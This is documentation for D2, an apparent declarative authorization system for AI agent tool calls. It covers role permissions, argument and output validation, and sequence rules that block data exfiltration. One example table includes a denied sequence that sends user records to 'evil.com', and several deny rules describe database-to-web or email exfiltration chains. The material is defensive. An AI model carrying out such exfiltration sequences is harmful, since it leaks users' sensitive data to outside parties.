D2 provides four layers of defense-in-depth security through declarative policies. All authorization logic is defined in policy files—not code—enabling centralized governance and instant updates.
Who can call what. Foundation of authorization.
Validate arguments before execution.
Prevent multi-step attacks via temporal rules.
Validate & sanitize after execution.
Control which roles can access which functions. This is the foundation of your authorization model.
@d2_guard("database:read_users")
def read_users(limit: int):
return db.query("SELECT * FROM users LIMIT ?", limit)
@d2_guard("database:delete_user")
def delete_user(user_id: str):
db.execute("DELETE FROM users WHERE id = ?", user_id)
@d2_guard("analytics:generate_report")
def generate_report():
return {"revenue": 50000, "users": 1200}roles:
- role: viewer
permissions:
- database:read_users
- analytics:generate_report
- role: admin
permissions:
- "*" # Wildcard: all tools| User | Role | Call | Result |
|---|---|---|---|
| alice | viewer | read_users(10) | ✅ Allowed |
| alice | viewer | delete_user("u123") | ❌ Denied |
| bob | admin | delete_user("u123") | ✅ Allowed |
Learn Once, Use Everywhere
D2 uses a unified set of operators for both input and output validation. The same constraints work in both contexts—learn one system, use it everywhere.
These operators are used for input validation and output validation to enforce constraints on data flowing through your protected functions.
Note: Output sanitization uses different directives (action: filter, action: redact, action: truncate) because it transforms data rather than validates it.
| Operator | Applies To | Example | Description |
|---|---|---|---|
| type | All types | type: string | Type enforcement (string, int, float, bool, list, dict) |
| required | All types | required: true | Field must be present |
| min / max | Numbers | min: 1, max: 100 | Minimum/maximum value (inclusive) |
| minLength / maxLength | Strings | maxLength: 255 | Minimum/maximum string length |
| matches | Strings | matches: "^[a-z]+$" | Regex pattern to match |
| not_matches | Strings | not_matches: "admin" | Regex pattern to reject |
| in / not_in | All types | in: ["a", "b"] | Allowed/disallowed values (enum) |
| contains / not_contains | All types | not_contains: "DROP" | Substring/element checks |
| max_bytes | Strings | max_bytes: 1024 | Maximum size in bytes |
Input validation enforces constraints on function arguments before the function executes. This is the first guardrail—validating data as it enters your protected functions.
@d2_guard("database:read_users")
def read_users(limit: int, offset: int = 0):
return db.query(
f"SELECT * FROM users LIMIT {limit} OFFSET {offset}"
)roles:
- role: analyst
permissions:
- tool: database:read_users
conditions:
input:
limit:
type: int
min: 1
max: 100 # Prevent large queries
required: true
offset:
type: int
min: 0
max: 10000| Call | Result | Reason |
|---|---|---|
| read_users(limit=50) | ✅ Allowed | Within range (1-100) |
| read_users(limit=500) | ❌ Denied | Exceeds maximum of 100 |
| read_users() | ❌ Denied | Required parameter 'limit' missing |
| read_users(limit="all") | ❌ Denied | Wrong type (must be int) |
@d2_guard("auth:create_user")
def create_user(username: str, email: str):
return db.insert("users", {
"username": username,
"email": email
})roles:
- role: admin
permissions:
- tool: auth:create_user
conditions:
input:
username:
type: string
minLength: 3
maxLength: 20
matches: "^[a-zA-Z0-9_]+$"
not_matches: "admin|root|system"
email:
type: string
matches: "^[a-zA-Z0-9._%+-]+@.+\\..+$"| Call | Result | Reason |
|---|---|---|
| create_user("john_doe", "john@example.com") | ✅ Allowed | Valid format |
| create_user("ab", "test@example.com") | ❌ Denied | Username too short (min 3) |
| create_user("admin", "test@example.com") | ❌ Denied | Reserved name blocked |
| create_user("john", "not-an-email") | ❌ Denied | Invalid email format |
Prevent multi-step attacks where individual steps are allowed but the sequence is dangerous. This is temporal authorization—controlling not just what can be called, but in what order.
An AI agent might call database:read_users (allowed) followed by web:http_post (also allowed), resulting in sensitive data being sent to an external server—a clear security breach despite both actions being individually permitted.
@d2_guard("database:read_users")
def read_users():
return [{"name": "Alice", "ssn": "123-45-6789"}]
@d2_guard("web:http_post")
def http_post(url: str, data: dict):
requests.post(url, json=data)roles:
- role: analyst
permissions:
- database:read_users
- web:http_post
sequence:
- deny: ["database:read_users", "web:http_post"]
reason: "Direct exfiltration: Database → Web"| Call Sequence | Result | Reason |
|---|---|---|
| read_users() | ✅ Allowed | First call in sequence |
| http_post("api.example.com", data) | ✅ Allowed | No database call before this |
| read_users() → http_post("evil.com", users) | ❌ Denied | Matches forbidden pattern |
Attackers may try to evade 2-hop rules by adding innocent intermediate steps. D2 supports arbitrary-length patterns.
@d2_guard("analytics:summarize")
def summarize(data: list):
return {"summary": str(data)}roles:
- role: analyst
permissions:
- database:read_users
- analytics:summarize
- web:http_post
sequence:
- deny: ["database:read_users", "web:http_post"]
- deny: ["database:read_users", "analytics:summarize", "web:http_post"]
reason: "Transitive exfiltration"| Call Sequence | Result | Reason |
|---|---|---|
| read_users() → summarize(data) | ✅ Allowed | No external call yet |
| read_users() → summarize() → http_post() | ❌ Denied | Matches 3-hop exfiltration pattern |
| read_users() → other_tool() → http_post() | ❌ Denied | Subsequence match (gaps allowed) |
Key Insight: Subsequence Matching
Sequence patterns are subsequences—gaps are allowed. Even if other tools are called in between, D2 will still match and block the pattern.
After the function executes, D2 provides a second guardrail to validate and sanitize outputs beforereturning them to the caller. This ensures sensitive data doesn't leak even if the function was allowed to execute.
Transform function outputs to remove sensitive data. Sanitization never denies—it always allows execution with modified results.
@d2_guard("database:read_users")
def read_users():
return [
{"id": 1, "name": "Alice",
"email": "alice@company.com",
"ssn": "123-45-6789"},
{"id": 2, "name": "Bob",
"email": "bob@company.com",
"ssn": "987-65-4321"}
]roles:
- role: analyst
permissions:
- tool: database:read_users
conditions:
output:
ssn:
action: filter # Remove completely
email:
action: redact # Replace with [REDACTED]| Field | Original Value | After Sanitization |
|---|---|---|
| id | 1 | 1 |
| name | "Alice" | "Alice" |
| "alice@company.com" | "[REDACTED]" | |
| ssn | "123-45-6789" | (field removed) |
Remove field completely from output. Use for PII that should never be exposed.
ssn:
action: filterReplace value with [REDACTED]. Supports pattern-based partial redaction.
card_number:
action: redact
matches: '\d{12}' # Last 4 keptLimit length of strings or arrays. Show only first N characters/items.
api_key:
action: truncate
maxLength: 20 # Show prefix onlyVerify function outputs meet expectations. Denies the call if validation fails.
@d2_guard("api:get_config")
def get_config():
return {
"version": "1.2.3",
"max_retries": 5
}roles:
- role: service
permissions:
- tool: api:get_config
conditions:
output:
version:
type: string
required: true
max_retries:
type: int
min: 1
max: 10 # Must be reasonable| Function Return Value | Result | Reason |
|---|---|---|
| {version: "1.2.3", max_retries: 5} | ✅ Allowed | All constraints met |
| {version: "1.2.3", max_retries: 0} | ❌ Denied | max_retries below minimum (1) |
| {version: "1.2.3", max_retries: 50} | ❌ Denied | max_retries exceeds maximum (10) |
| {max_retries: 5} | ❌ Denied | Required field 'version' missing |
Define abstract patterns by grouping related tools. Reference sets of tools with a single identifier instead of listing them individually in every rule.
Without tool groups, blocking all combinations of database tools and external tools requires writing many rules. With groups, you can express complex patterns concisely.
metadata:
tool_groups:
sensitive_data:
- database:read_users
- database:read_orders
- database:read_payments
- files:read_customer_data
# ... 100 tools
external_io:
- web:http_post
- email:send
- s3:upload
- slack:post_message
- webhook:trigger
# ... 100 tools
roles:
- role: analyst
permissions:
- "@sensitive_data" # Grant all database tools
- "@external_io" # Grant all external tools
sequence:
- deny: ["@sensitive_data", "@external_io"]
reason: "Prevent any sensitive data exfiltration"D2 validates policies at load time to catch typos and errors before they reach production. This prevents silent security bypasses.
# ❌ Invalid Policy
conditions:
input:
limit:
minimum: 1 # TYPO: Should be 'min'
maximum: 100 # TYPO: Should be 'max'
# Error at Load Time:
ConfigurationError: Unknown input validation operator(s): ['minimum', 'maximum']
Valid operators: type, required, min, max, minLength, maxLength, ...
Suggestion: Did you mean 'min' instead of 'minimum'?# ❌ Invalid Policy
conditions:
input:
email:
matches: "[unclosed(" # Malformed regex
# Error:
ConfigurationError: Invalid regex pattern for parameter 'email':
unterminated character set at position 1Without validation: A typo in your policy might be silently ignored, leaving your system unprotected.
With validation: Policies fail to load with clear error messages, forcing you to fix issues before deployment.
Customer service bot can query orders but cannot exfiltrate data via email.
metadata:
tool_groups:
customer_data: [orders:search, orders:get_details]
external: [email:send]
roles:
- role: customer_service_agent
permissions:
# Allow reading orders
- tool: orders:search
conditions:
input:
limit:
type: int
max: 50 # Prevent large dumps
- tool: orders:get_details
conditions:
output:
payment:
action: filter # Remove payment info
# Allow KB search
- tool: knowledge:search
# Allow sending emails (to customers only)
- tool: email:send
conditions:
input:
to:
matches: "@customer\\.com$" # Only to customers
sequence:
# Prevent data exfiltration via email
- deny: ["@customer_data", "email:send"]
reason: "Cannot email customer data outside workflow"Analyst can query database and generate reports, but cannot send raw data externally.
metadata:
tool_groups:
database_read: [db:query_users, db:query_transactions]
internal_processing: [analytics:aggregate, reports:save]
external_network: [web:http_post]
roles:
- role: analyst
permissions:
- "@database_read"
- "@internal_processing"
- "@external_network" # Allowed individually
sequence:
# Block raw database data → external network
- deny: ["@database_read", "@external_network"]
reason: "Cannot send raw database data to external endpoints"
# Block database → analytics → external network (laundering)
- deny: ["@database_read", "analytics:aggregate", "@external_network"]
reason: "Cannot exfiltrate aggregated data"